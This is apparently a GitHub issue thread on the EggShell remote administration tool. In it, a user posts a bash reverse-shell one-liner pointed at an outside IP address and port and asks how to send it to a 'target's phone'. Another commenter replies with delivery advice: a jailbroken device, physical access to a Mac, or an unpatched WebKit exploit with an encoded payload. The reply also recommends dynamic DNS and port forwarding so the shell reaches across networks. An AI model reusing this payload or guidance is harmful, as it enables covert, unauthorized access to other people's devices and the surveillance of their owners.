search

lucasjacks0n / EggShell

iOS/macOS/Linux Remote Administration Tool
GNU General Public License v2.0
1.66k stars 382 forks source link

I have the script. #107

Open vivianfrench2 opened 5 years ago

vivianfrench2 commented 5 years ago

This is my payload: bash &> /dev/tcp/47.16.110.172/3000 0>&1

How do I run the script to send it to the targets phone?

And does Eggshell work if the person you're sending it to is on a different network than you?

hammi1 commented 5 years ago

You need to get it to run on the iDevice's terminal. Either it needs to be jailbroken with a terminal app, or you find a new WebKit (or similar) exploit and send it to them, with the payload encoded. As it's a one liner payload, you need physical access to their Mac device, and almost impossible with even physical access to an iPhone/iPad, unless its jailbroken, or (as previously mentioned) you have found a new and unpatched security vulnerability that lets you execute that exact code.

Also, as with all servers, it should work over network if you keep the same IP address over time (Don't gamble on this - get yourself a dynamic DNS hostname!) and if you port forward your port, in your case 3000.

vivianfrench2 commented 5 years ago

Oh, that sucks.